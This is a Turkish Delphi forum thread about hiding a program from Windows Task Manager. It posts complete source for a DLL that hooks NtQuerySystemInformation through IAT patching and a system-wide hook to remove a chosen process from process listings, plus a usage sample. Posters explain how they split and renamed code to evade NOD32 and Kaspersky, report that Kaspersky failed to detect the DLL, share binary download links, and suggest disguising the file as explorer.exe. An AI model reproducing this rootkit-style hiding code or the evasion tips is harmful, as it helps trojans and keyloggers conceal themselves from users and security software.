Programı görev yöneticisinden saklamak..
Forum kuralları
Forum kurallarını okuyup, uyunuz!
Forum kurallarını okuyup, uyunuz!
google dan arattıktan sonra rus forumların birisinde aşağıdaki kodları buldum ve bizzat denedim test ettimnotname yazdı:evet delphide bu yapılabiliyor "nthide.dll" bunu bir google'da arastırın dll kullanarak gizleyebilirsiniz. ayrıca şu an yeni çıkan trojanlar ,keylooger türü programlar ctrl+alt+del de gözükmüyo...

aşağıdaki kodu nthide.dll olarak oluşturun
Kod: Tümünü seç
library nthide;
uses
Windows,
SysUtils,
ImageHlp,
TlHelp32;
type SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of
0:(
Characteristics: DWORD);
1:(
OriginalFirstThunk:DWORD;
TimeDateStamp:DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC = ^FARPROC;
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var
ulSize: ULONG;
pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
pszModName: PChar;
pThunk: PDWORD; ppfn:PFARPROC;
fFound: LongBool;
Written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then Exit;
while pImportDesc.Name <> 0 do
begin
pszModName := PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then Exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^ <> 0 do
begin
ppfn := PFARPROC(pThunk);
fFound := (ppfn^ = pfnCurrent);
if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE, Written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
Exit;
end;
Inc(pThunk);
end;
end;
var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit
onceagain:
mov esi, SystemInformation
getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain
fillzero:
and [ebx], edx
jmp onceagain
quit:
mov Result, eax
end;
procedure InterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then Exit;
try
ZeroMemory(@me32, sizeof(MODULEENTRY32));
me32.dwSize := sizeof(MODULEENTRY32);
Module32First(hSnapShot, me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation, @MyNtQuerySystemInfo, me32.hModule);
until not Module32Next(hSnapShot, me32);
finally
CloseHandle(hSnapShot);
end;
end;
procedure UninterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'), 'NtQuerySystemInformation');
hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then Exit;
try
ZeroMemory(@me32, sizeof(MODULEENTRY32));
me32.dwSize := sizeof(MODULEENTRY32);
Module32First(hSnapShot, me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo, addr_NtQuerySystemInformation, me32.hModule);
until not Module32Next(hSnapShot, me32);
finally
CloseHandle(hSnapShot);
end;
end;
var HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result := 0;
end;
procedure InstallHook; stdcall;
begin
HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;
var
hFirstMapHandle:THandle;
function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var
addrMap: PDWORD;
ptr2: PBOOL;
begin
mypid := 0;
result := False;
hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,'NtHideFileMapping');
if hFirstMapHandle = 0 then Exit;
addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
if addrMap = nil then
begin
CloseHandle(hFirstMapHandle);
Exit;
end;
addrMap^ := pid;
ptr2 := PBOOL(DWORD(addrMap) + 4);
ptr2^ := HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result := True;
end;
exports
HideProcess;
var
hmap: THandle;
procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;
begin
hmap := OpenFileMapping(FILE_MAP_READ, False, 'NtHideFileMapping');
if hmap = 0 then Exit;
try
mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
if mapaddr = nil then Exit;
mypid := mapaddr^;
hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
if hideOnlyTaskMan^ then
begin
fname := allocMem(MAX_PATH + 1);
GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1);
if not (ExtractFileName(fname) = 'taskmgr.exe') then Exit;
end;
InterceptFunctions;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc := @LibraryProc;
end;
end.
aşağıdada kullanım icin örnek kod var ...
Kod: Tümünü seç
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
external 'nthide.dll';
procedure TForm1.Button1Click(Sender: TObject);
begin
HideProcess(GetCurrentProcessId, False);
end;
Kim ilim öğrenir sonra da onu gizlerse âhirette onun ağzına ateşten bir gem vurulur. (Hadis-i Şerif)
- Murat DİCLE
- Kıdemli Üye
- Mesajlar: 702
- Kayıt: 19 Nis 2006 04:12
- Konum: İstanbul
- İletişim:
Son yazılan kodu ben vaktiyle JustFilter için koymuştum. Ama bir çok Herustic tarama yapan anti-virüs vb. programlar engelliyordu programımı. Sonra kodların yerlerini değiştirdim, bölüp parçaladım, isim değişikliği, string yapıları böldüm vs. işlemler ile NOD32 ve Kaspersky gibi programları atlattım.
Ancak sonra, programı gizlememin gereksiz olduğuna karar verdim. Önemli olan programın başkaları tarafından kapatılmaması idi. Bende daha yasal bir yöntem ile (HOOK) programın kapatılmasını engelledim. Görev yöneticisinde program görünüyor ama kapatılamıyordu. Zaten görev yöneticisindeki bazı Windows uygulamalarıda kapatılmasını engeliyor.
Sanki, programı gizlemeye çalışınca, kötü bir izlenim bırakacakmışım gibi bir his doğdu. Ama bir SERVICE uygulaması yapılırsa bir sorun olmayacaktır, ahlaki açıdan.
Ancak sonra, programı gizlememin gereksiz olduğuna karar verdim. Önemli olan programın başkaları tarafından kapatılmaması idi. Bende daha yasal bir yöntem ile (HOOK) programın kapatılmasını engelledim. Görev yöneticisinde program görünüyor ama kapatılamıyordu. Zaten görev yöneticisindeki bazı Windows uygulamalarıda kapatılmasını engeliyor.
Sanki, programı gizlemeye çalışınca, kötü bir izlenim bırakacakmışım gibi bir his doğdu. Ama bir SERVICE uygulaması yapılırsa bir sorun olmayacaktır, ahlaki açıdan.
@cozturk
- Merak edip DLL'yi denedim. Kaspersky kesinlikle bulamadı. Ayarlarını tüm seçeneklerin dikkate alınması şeklinde aktifleştirdim. Ayıp demesi oha diyecek kadar da sıkılaştı, şöyle ki boş bir delphi projesi açtım ve hiçbir şey yazmadan RUN dedim... aşağıdaki uyarı geldi...
- İşte aynı bu ortamda DLL'yi scan ettirdim (hem de en heuristic proactive olanından) virus yok dedi.
- Çalıştırınca ise şunu verdi.

- Button1'e basınca da aynı mesajı aldım. Ayarlarını tekrar Basic Protection' dönüştürdüm bu sefer hiçbirini vermedi. Yani anlayacağınız Kaspersky bu kodu anlayamadı diyebilirim.
- Bendeki derlenmiş DLL, derlenmiş örnek ve kaynak kodları ise şunlar. Siz de deneyin farkı anlayalım.
Kaynak kod, Derlenmiş DLL ve SAMPLE dizini altında aynı DLL bulundurulumuş örnek kod için Rapid Linki
- Merak edip DLL'yi denedim. Kaspersky kesinlikle bulamadı. Ayarlarını tüm seçeneklerin dikkate alınması şeklinde aktifleştirdim. Ayıp demesi oha diyecek kadar da sıkılaştı, şöyle ki boş bir delphi projesi açtım ve hiçbir şey yazmadan RUN dedim... aşağıdaki uyarı geldi...


- İşte aynı bu ortamda DLL'yi scan ettirdim (hem de en heuristic proactive olanından) virus yok dedi.
- Çalıştırınca ise şunu verdi.

- Button1'e basınca da aynı mesajı aldım. Ayarlarını tekrar Basic Protection' dönüştürdüm bu sefer hiçbirini vermedi. Yani anlayacağınız Kaspersky bu kodu anlayamadı diyebilirim.

- Bendeki derlenmiş DLL, derlenmiş örnek ve kaynak kodları ise şunlar. Siz de deneyin farkı anlayalım.
Kaynak kod, Derlenmiş DLL ve SAMPLE dizini altında aynı DLL bulundurulumuş örnek kod için Rapid Linki
Arkadaşlar biraz önce @aveysel önemli bir eleştiri aldım. Sadece benzer fikri olanlar için cevap hakkımı kullanmak istiyorum.
Ref : viewtopic.php?p=106570#106571
Ref : viewtopic.php?p=106570#106571
@aveysel yazdı:MrMarman tanışmıyoruz ama samimiyetine sığınarak birşey söylemek istiyorum biraz önce aşağıdaki linkde programı taskbar dan gizleme ile ilgili kaynak kodlarıyla birlikte yazı yazmışsın, ama yukarıda kötü amaçlı kullanılır diye bilgi vermek istemiyorsun
viewtopic.php?t=8036&start=15
Bilgi senin ister paylaşırsın ister paylaşmazsın ama bu bahane bana kötü geliyor..
Belki size abes gelecek ama okuldayken bitirme projem Trojan yapmaktı eğer bana bu konu hakkında kimse yardım etmeseydi sınıfta kalabilirdim,
@mrmarman buna cevap olarak da yazdı:- Arkadaşlar ifşa olmuş bilgiden geri dönüş olmaz..![]()
- Tekrar salim bir gözle bakarsanız, burada yeni birşey yazmayıp olanı yorumladım. Tutarlılık esastır
Benim derlediğim dll:
http://www.filearsivi.com/download.php? ... 877977c9fe
karşılaştırma yapardım ama hemen KAV uyarısı çıkıp silmek istiyor. Disable etmek de istemiyorum
http://www.filearsivi.com/download.php? ... 877977c9fe
karşılaştırma yapardım ama hemen KAV uyarısı çıkıp silmek istiyor. Disable etmek de istemiyorum
Murat DİCLE yazdı:Son yazılan kodu ben vaktiyle JustFilter için koymuştum. Ama bir çok Herustic tarama yapan anti-virüs vb. programlar engelliyordu programımı. Sonra kodların yerlerini değiştirdim, bölüp parçaladım, isim değişikliği, string yapıları böldüm vs. işlemler ile NOD32 ve Kaspersky gibi programları atlattım.
Ancak sonra, programı gizlememin gereksiz olduğuna karar verdim. Önemli olan programın başkaları tarafından kapatılmaması idi. Bende daha yasal bir yöntem ile (HOOK) programın kapatılmasını engelledim. Görev yöneticisinde program görünüyor ama kapatılamıyordu. Zaten görev yöneticisindeki bazı Windows uygulamalarıda kapatılmasını engeliyor.
Sanki, programı gizlemeye çalışınca, kötü bir izlenim bırakacakmışım gibi bir his doğdu. Ama bir SERVICE uygulaması yapılırsa bir sorun olmayacaktır, ahlaki açıdan.
programın sonlandırılmaması gibi bi işlemi nasıl yapıyorsun .. cunku farklı programlarla yada taskkill ile bir sekilde force olarak sonlandırılıyor ..
Kim ilim öğrenir sonra da onu gizlerse âhirette onun ağzına ateşten bir gem vurulur. (Hadis-i Şerif)
beyler ben bu konudan sunu anladım anti virusler kod biçimine önem veriyor amacına değil yanı bende bunun gibi bişi denemiştim buton 1 e basıldıgında ki buton 1 de hook işlemi baslatıyor nod32 virus dedi fakat buton 2 ye alııp aynı kodu 1-2 farklı satır yazınca hiç bir sekilde virus bulmuyo yani burda anti virusler 1.ci planına bakıyor örn şöle bir sey yapabiliriz arkadas için
taskbarda dosya adnı expoler.exe yada IEXPLORE.exe yaparsa kimse sonlandırmak istemez
taskbarda dosya adnı expoler.exe yada IEXPLORE.exe yaparsa kimse sonlandırmak istemez
